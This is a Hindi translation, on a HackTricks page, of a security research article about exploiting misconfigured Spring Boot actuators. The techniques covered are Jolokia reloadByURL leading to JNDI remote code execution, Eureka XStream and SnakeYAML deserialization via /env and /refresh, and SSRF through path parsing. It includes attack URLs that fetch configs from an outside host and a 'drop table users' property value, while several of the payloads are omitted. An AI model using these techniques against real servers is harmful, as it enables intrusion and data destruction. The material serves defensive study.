<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
**कॉपी किया गया** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
Spring Boot Framework में कई सुविधाएँ शामिल हैं जिन्हें actuators कहा जाता है, जो आपको अपने वेब एप्लिकेशन की निगरानी और प्रबंधन में मदद करते हैं जब आप इसे प्रोडक्शन में धकेलते हैं। ऑडिटिंग, स्वास्थ्य, और मेट्रिक्स एकत्रित करने के लिए इस्तेमाल किए जाने के इरादे से, ये गलत कॉन्फ़िगरेशन होने पर आपके सर्वर के लिए एक छिपा हुआ द्वार भी खोल सकते हैं।
जब एक Spring Boot एप्लिकेशन चल रहा होता है, तो यह स्वचालित रूप से कई एंडपॉइंट्स (जैसे '/health', '/trace', '/beans', '/env' आदि) को रूटिंग प्रक्रिया में पंजीकृत करता है। Spring Boot 1 - 1.4 के लिए, वे प्रमाणीकरण के बिना सुलभ हैं, जिससे सुरक्षा के साथ महत्वपूर्ण समस्याएं होती हैं। Spring संस्करण 1.5 के साथ शुरू होकर, '/health' और '/info' को छोड़कर सभी एंडपॉइंट्स को संवेदनशील माना जाता है और डिफ़ॉल्ट रूप से सुरक्षित होते हैं, लेकिन यह सुरक्षा अक्सर एप्लिकेशन डेवलपर्स द्वारा अक्षम की जाती है।
* /heapdump - हमारे एप्लिकेशन द्वारा इस्तेमाल किए गए JVM से एक हीप डंप बनाता है और लौटाता है
Spring 1x के लिए, वे मूल URL के अंतर्गत पंजीकृत होते हैं, और 2x में वे "/actuator/" बेस पथ पर चले गए हैं।
**शोषण:**
अधिकांश actuators केवल GET अनुरोधों का समर्थन करते हैं और केवल संवेदनशील कॉन्फ़िगरेशन डेटा का खुलासा करते हैं, लेकिन उनमें से कुछ विशेष रूप से शेल शिकारियों के लिए दिलचस्प हैं:
**1. '/jolokia' के माध्यम से रिमोट कोड एक्जीक्यूशन**
यदि Jolokia Library लक्ष्य एप्लिकेशन क्लासपाथ में है, तो यह स्वचालित रूप से Spring Boot द्वारा '/jolokia' actuator एंडपॉइंट के तहत प्रकट की जाती है। Jolokia सभी पंजीकृत MBeans तक HTTP पहुँच प्रदान करता है और JMX के साथ आप जो ऑपरेशन कर सकते हैं, उसे करने के लिए डिज़ाइन किया गया है। सभी उपलब्ध MBeans क्रियाओं को URL का उपयोग करके सूचीबद्ध किया जा सकता है:
'**reloadByURL**' क्रिया, जो Logback लाइब्रेरी द्वारा प्रदान की जाती है, हमें एक बाहरी URL से लॉगिंग कॉन्फ़िग को फिर से लोड करने की अनुमति देती है। इसे केवल नेविगेट करके ट्रिगर किया जा सकता है:[**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
तो, हमें लॉगिंग कॉन्फ़िग की परवाह क्यों करनी चाहिए? मुख्य रूप से दो चीजों के कारण:
1. कॉन्फ़िग XML प्रारूप में है, और निश्चित रूप से, Logback इसे External Entities सक्षम के साथ पार्स करता है, इसलिए यह अंधा XXE के लिए संवेदनशील है।
2. Logback कॉन्फ़िग में ['JNDI से वेरिएबल्स प्राप्त करने'] की सुविधा है(https://logback.qos.ch/manual/configuration.html#insertFromJNDI). XML फ़ाइल में, हम एक टैग जैसे '**\<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**' शामिल कर सकते हैं और नाम विशेषता को DirContext.lookup() विधि के पास पारित किया जाएगा। यदि हम .lookup() फ़ंक्शन में एक मनमाना नाम प्रदान कर सकते हैं, तो हमें XXE या HeapDump की आवश्यकता नहीं है क्योंकि यह हमें पूर्ण **रिमोट कोड एक्जीक्यूशन** देता है।
**यह कैसे काम करता है:**
1\. एक हमलावर उपरोक्त URL का अनुरोध करता है 'reloadByURL' फ़ंक्शन को निष्पादित करने के लिए, जो 'qos.logback.classic.jmx.JMXConfigurator' क्लास द्वारा प्रदान किया जाता है।
2\. 'reloadByURL' फ़ंक्शन [http://artsploit.com/logback.xml](http://artsploit.com/logback.xml) से एक नया कॉन्फ़िग डाउनलोड करता है और इसे Logback कॉन्फ़िग के रूप में पार्स करता है। इस दुर्भावनापूर्ण कॉन्फ़िग में निम्नलिखित सामग्री होनी चाहिए:
3\. जब यह फ़ाइल संवेदनशील सर्वर पर पार्स की जाती है, तो यह "env-entry-name" पैरामीटर मान में निर्दिष्ट हमलावर-नियंत्रित LDAP सर्वर से कनेक्शन बनाती है, जो JNDI संकल्पना की ओर ले जाती है। दुर्भावनापूर्ण LDAP सर्वर 'Reference' प्रकार की एक वस्तु लौटा सकता है जिससे लक्षित एप्लिकेशन पर **सप्लाई किए गए बाइटकोड का निष्पादन** हो सकता है। JNDI हमलों की अच्छी तरह से व्याख्या इस [MicroFocus शोध पत्र](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf) में की गई है। [नई JNDI शोषण तकनीक](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) (जिसका वर्णन पहले हमारे ब्लॉग में किया गया था) यहाँ भी काम करती है, क्योंकि Tomcat Spring Boot Framework में डिफ़ॉल्ट एप्लिकेशन सर्वर है।
यदि Spring Cloud Libraries क्लासपाथ में हैं, तो **'/env'** एंडपॉइंट आपको Spring पर्यावरणीय गुणधर्मों को संशोधित करने की अनुमति देता है। सभी '**@ConfigurationProperties**' के रूप में अंकित बीन्स को संशोधित किया जा सकता है और पुनः बाँधा जा सकता है। '/configprops' एक्चुएटर एंडपॉइंट पर सूचीबद्ध कई, लेकिन सभी नहीं, गुणधर्मों को हम नियंत्रित कर सकते हैं। वास्तव में, उनमें से टन हैं, लेकिन यह बिल्कुल स्पष्ट नहीं है कि हमें क्या संशोधित करने की आवश्यकता है कुछ हासिल करने के लिए। उनके साथ खेलते हुए कुछ दिन बिताने के बाद हमने यह पाया:
यह प्रॉपर्टी Eureka serviceURL को मनमाने मूल्य में बदल देती है। Eureka Server सामान्यतः एक डिस्कवरी सर्वर के रूप में इस्तेमाल होता है, और लगभग सभी Spring Cloud एप्लिकेशन इसमें रजिस्टर करते हैं और इसे स्टेटस अपडेट भेजते हैं। यदि आपको भाग्य से लक्ष्य क्लासपाथ में Eureka-Client <1.8.7मिलजाताहै(जोसामान्यतःSpringCloudNetflixमेंशामिलहोताहै),तोआपइसमें**XStream deserialization vulnerability**काशोषणकरसकतेहैं।आपकोबस'eureka.client.serviceUrl.defaultZone'प्रॉपर्टीको'/env'केमाध्यमसेअपनेसर्वरURL([http://artsploit.com/n/xstream](http://artsploit.com/n/xstream))परसेटकरनाहोगाऔरफिर'/refresh'एंडपॉइंटकोकॉलकरनाहोगा।उसकेबाद,आपकेसर्वरकोनिम्नलिखितसामग्रीकेसाथXStreamपेलोडसर्वकरनाचाहिए:
यह XStream पेलोड [Marshalsec अनुसंधान](https://github.com/mbechler/marshalsec) से ImageIO JDK-only गैजेट चेन का थोड़ा संशोधित संस्करण है। यहाँ केवल अंतर यह है कि **LinkedHashSet** का उपयोग करके 'jdk.nashorn.internal.objects.NativeString.hashCode()' विधि को ट्रिगर किया जाता है। मूल पेलोड java.lang.Map का उपयोग करता है ताकि वही व्यवहार प्राप्त किया जा सके, लेकिन Eureka की XStream कॉन्फ़िगरेशन में मैप्स के लिए एक [कस्टम कनवर्टर](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58) है जिससे इसे अनुपयोगी बना दिया गया है। ऊपर दिया गया पेलोड बिल्कुल भी मैप्स का उपयोग नहीं करता है और बिना अतिरिक्त प्रतिबंधों के Remote Code Execution प्राप्त करने के लिए उपयोग किया जा सकता है।
Spring Actuators का उपयोग करके, आप इस कमजोरी का शोषण कर सकते हैं भले ही आपके पास एक आंतरिक Eureka सर्वर तक पहुँच न हो; आपको केवल एक "/env" एंडपॉइंट की आवश्यकता होती है।
**spring.datasource.tomcat.validationQuery=drop+table+users** - आपको किसी भी SQL क्वेरी को निर्दिष्ट करने की अनुमति देता है, और यह स्वचालित रूप से वर्तमान डेटाबेस के खिलाफ निष्पादित होगा। यह कोई भी स्टेटमेंट हो सकता है, जिसमें insert, update, या delete शामिल हैं।
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - आपको वर्तमान JDBC कनेक्शन स्ट्रिंग को संशोधित करने की अनुमति देता है।
अंतिम एक बहुत अच्छा लगता है, लेकिन समस्या तब होती है जब डेटाबेस कनेक्शन चलाने वाला एप्लिकेशन पहले से ही स्थापित हो, बस JDBC स्ट्रिंग को अपडेट करने से कोई प्रभाव नहीं पड़ता है। सौभाग्य से, इस मामले में हमारी मदद करने के लिए एक और प्रॉपर्टी है:
यहाँ हम जो चाल उपयोग कर सकते हैं वह है डेटाबेस के साथ समानांतर कनेक्शनों की संख्या बढ़ाना। इसलिए, हम JDBC कनेक्शन स्ट्रिंग को बदल सकते हैं, कनेक्शनों की संख्या बढ़ा सकते हैं, और उसके बाद एप्लिकेशन को भारी लोड का अनुकरण करने के लिए कई अनुरोध भेज सकते हैं। लोड के तहत, एप्लिकेशन अपडेटेड मैलिशस JDBC स्ट्रिंग के साथ एक नया डेटाबेस कनेक्शन बनाएगा। मैंने इस तकनीक को स्थानीय रूप से Mysql के खिलाफ परीक्षण किया और यह बहुत अच्छा काम करता है।
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - spring cloud config url (एप्प स्टार्ट के बाद कोई प्रभाव नहीं होता है, केवल प्रारंभिक मानों का उपयोग होता है।)
ये प्रॉपर्टीज '/restart' एंडपॉइंट को कॉल किए जाने तक कोई प्रभाव नहीं डालती हैं। यह एंडपॉइंट सभी ApplicationContext को पुनः आरंभ करता है लेकिन यह डिफ़ॉल्ट रूप से अक्षम होता है।
**नोट:** Spring Boot 2x में, '/env' एंडपॉइंट के माध्यम से प्रॉपर्टीज को संशोधित करने के लिए अनुरोध प्रारूप थोड़ा अलग है (यह json प्रारूप का उपयोग करता है), लेकिन विचार वही है।
यदि आप इस कमजोरी का स्थानीय रूप से परीक्षण करना चाहते हैं, तो मैंने अपने Github पेज पर एक [सरल Spring Boot एप्लिकेशन](https://github.com/artsploit/actuator-testbed) बनाया है। सभी पेलोड वहाँ काम करना चाहिए, डेटाबेस सेटिंग्स को छोड़कर (जब तक आप इसे कॉन्फ़िगर नहीं करते)।
डिफ़ॉल्ट एक्चुएटर्स की पूरी सूची यहाँ मिल सकती है: [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)। ध्यान रखें कि एप्लिकेशन डेवलपर्स अपने स्वयं के एंडपॉइंट्स @Endpoint एनोटेशन का उपयोग करके बना सकते हैं।
**मई 2019 का अपडेट:**
Spring पर्यावरणीय प्रॉपर्टीज में संशोधन के माध्यम से RCE प्राप्त करने का एक अधिक विश्वसनीय तरीका है:
यह अनुरोध 'spring.cloud.bootstrap.location' प्रॉपर्टी को संशोधित करता है, जिसका उपयोग बाहरी कॉन्फ़िग को लोड करने और उसे YAML प्रारूप में पार्स करने के लिए किया जाता है। इसे संभव बनाने के लिए, हमें '/refresh' एंडपॉइंट को भी कॉल करने की आवश्यकता है।
जब YAML कॉन्फ़िग रिमोट सर्वर से फेच किया जाता है, तो इसे SnakeYAML लाइब्रेरी के साथ पार्स किया जाता है, जो डिसेरियलाइजेशन हमलों के लिए भी संवेदनशील होती है। पेलोड (yaml-payload.yml) उपरोक्त Marshalsec अनुसंधान का उपयोग करके जनरेट किया जा सकता है :
इस फाइल के Deserialization से ScriptEngineManager के constructor की execution होती है जिसमें दिया गया URLClassLoader शामिल होता है। संक्षेप में, यह **'java.util.ServiceLoader#load(java.lang.Class\<S>, java.lang.ClassLoader)'** मेथड की ओर ले जाता है, जो क्लासपाथ में सभी लाइब्रेरीज में 'ScriptEngineFactory' इंटरफेस के सभी कार्यान्वयनों को खोजने का प्रयास करता है। चूंकि हम URLClassLoader के माध्यम से एक नई लाइब्रेरी जोड़ सकते हैं, हम एक नया 'ScriptEngineFactory' बना सकते हैं जिसमें मालिशियस बाइटकोड शामिल हो। ऐसा करने के लिए, हमें निम्नलिखित अनिवार्य फाइलों के साथ एक jar आर्काइव बनाने की आवश्यकता है: [yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) में वास्तविक बाइटकोड होना चाहिए, जिसमें constructor में मालिशियस पेलोड हो।
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) एक टेक्स्ट फाइल होनी चाहिए जिसमें 'artsploit.AwesomeScriptEngineFactory' का पूरा संदर्भ हो, ताकि ServiceLoader को पता चल सके कि क्लास कहां मिलेगी: **artsploit.AwesomeScriptEngineFactory** फिर से, इस शोषण तकनीक के लिए spring cloud का classpath में होना आवश्यक है, लेकिन Eureka के XStream payload की तुलना में, यह नवीनतम संस्करण में भी काम करता है। पूरा payload आप मेरे github प्रोजेक्ट में देख सकते हैं: [yaml-payload](https://github.com/artsploit/yaml-payload).
इस पेज पर जाएं और जानें कि /env + H2 संयोजन का शोषण कैसे करें: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
## Spring Boot में गलत Pathname व्याख्या के माध्यम से SSRF <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
[**इस शोध से**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation): Spring framework HTTP pathname के पहले स्लैश से पहले मैट्रिक्स पैरामीटर विभाजक चरित्र `;` को स्वीकार करता है:
यह देखते हुए कि Spring मैट्रिक्स पैरामीटर सेपरेटर के बाद किसी भी अक्षर की अनुमति देता है, `@` अक्षर का उपयोग करके मनमाने एंडपॉइंट को भी प्राप्त करना संभव हो जाता है।
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो** करें.
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.